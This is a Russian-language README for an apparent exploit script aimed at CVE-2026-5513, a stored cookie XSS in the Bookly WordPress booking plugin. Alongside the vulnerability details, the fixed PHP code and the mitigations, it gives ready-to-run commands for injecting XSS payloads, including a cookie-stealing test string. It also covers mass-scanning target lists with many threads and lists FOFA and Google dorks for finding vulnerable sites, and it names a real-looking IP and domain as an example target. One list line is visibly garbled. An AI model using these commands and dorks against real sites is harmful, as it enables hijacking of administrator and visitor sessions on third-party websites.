
CVE-2026-5513: Bookly <= 27.2 Хранимый XSS через Cookie (без аутентификации)
| Поле | Значение |
|---|
| CVE ID | CVE-2026-5513 |
| Уязвимость | Хранимая межсайтовая атака (XSS) |
| Плагин | Bookly — Система онлайн-записи и бронирования |
| Затронутые версии | ≤ 27.2 |
| Исправлено в | 27.3+ |
| CVSS 3.1 | 7.2 (Высокий) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Требуется аутентификация | Нет |
| Предварительное условие | Опция «Запоминать личную информацию в cookie» должна быть включена (по умолчанию отключена) |
Плагин Bookly для WordPress уязвим к хранимой межсайтовой атаке (XSS) через cookie bookly-customer-full-name в версиях до 27.2 включительно из-за недостаточной санитизации ввода и экранирования вывода.
Когда включена опция «Запоминать личную информацию в cookie», плагин считывает значение cookie bookly-customer-full-name и выводит его непосредственно в HTML-код формы бронирования без надлежащего экранирования. Неаутентифицированный злоумышленник может внедрить произвольную JavaScript-нагрузку через эту cookie, которая выполнится при посещении любым пользователем (включая администраторов) страницы с формой бронирования Bookly.
Злоумышленник → Устанавливает вредоносную cookie (bookly-customer-full-name=<script>...</script>)
→ Посещает страницу с формой бронирования Bookly
→ Плагин считывает cookie, выводит значение без экранирования
→ XSS-нагрузка выполняется в контексте браузера жертвы
// УЯЗВИМЫЙ КОД — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // Нет санитизации
echo '<input type="text" value="' . $full_name . '" />'; // Нет экранирования
// ИСПРАВЛЕННЫЙ КОД — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Автоматическое определение IP/домена (HTTP/HTTPS, общие порты, обнаружение перенаправлений)
✓ Обнаружение WordPress и плагина Bookly с проверкой версии
✓ Определение настройки cookie (анализ JS BooklyL10n + канареечное отражение)
✓ Многоконтекстное тестирование XSS (HTML, JavaScript, внедрение в атрибуты)
✓ Инъекция нагрузки с проверкой отражения
✓ Одна цель или массовое сканирование из файла
✓ Многопоточное сканирование (до 20 потоков)
✓ Поддержка прокси (Burp и др.)
✓ Автоматическое сохранение уязвимых результатов
✓ Интерактивное меню + режим командной строки
pip install requests colorama
# Проверка одной цели
python CVE-2026-5513.py -u https://target.com -v
# Проверка одного IP (автоматическое определение портов + перенаправлений)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Проверка + инъекция XSS-нагрузки
python CVE-2026-5513.py -u https://target.com --inject -v
# Пользовательская XSS-нагрузка
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Массовое сканирование из файла
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# С прокси Burp
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
| Флаг | Описание |
|---|---|
-u URL | Одна цель (URL, домен или IP) |
-l FILE | Файл со списком целей (по одной на строку) |
--inject | Инъекция XSS-нагрузки (по умолчанию только проверка) |
--payload STR | Пользовательская XSS-нагрузка |
-t N | Количество потоков (по умолчанию: 10, макс.: 20) |
--proxy URL | HTTP-прокси (например, http://127.0.0.1:8080) |
-o FILE | Сохранить результаты в файл |
-v | Подробный вывод |
Инструмент принимает любой из следующих форматов в -u или в файле списка целей:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Для IP-адресов без указания порта инструмент автоматически:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/ и т.д.)ШАГ 0 → Определение цели (IP/домен → разрешение базового URL, обнаружение перенаправлений)
ШАГ 1 → Обнаружение плагина Bookly (readme.txt, директория плагина, ресурсы, проверка версии)
ШАГ 2 → Проверка настройки cookie (анализ JS BooklyL10n + канареечный тест отражения)
ШАГ 3 → Тестирование отражения XSS (контекст HTML, контекст JS, контекст атрибута)
ШАГ 4 → Инъекция нагрузки (если включён режим --inject, проверка отражения)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Приоритет | Действие |
|---|---|
| 🔴 | Обновите Bookly до версии 27.3+ |
| 🟡 | Отключите опцию «Запоминать личную информацию в cookie» в Настройки Bookly → Общие |
| 🟢 | Настройте правила WAF для фильтрации XSS в значениях cookie |
| 🟢 | Внедрите заголовки Content-Security-Policy (CSP) |
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте соответствующее разрешение перед тестированием. Автор не несёт ответственности за любое неправомерное использование данного инструмента.
MIT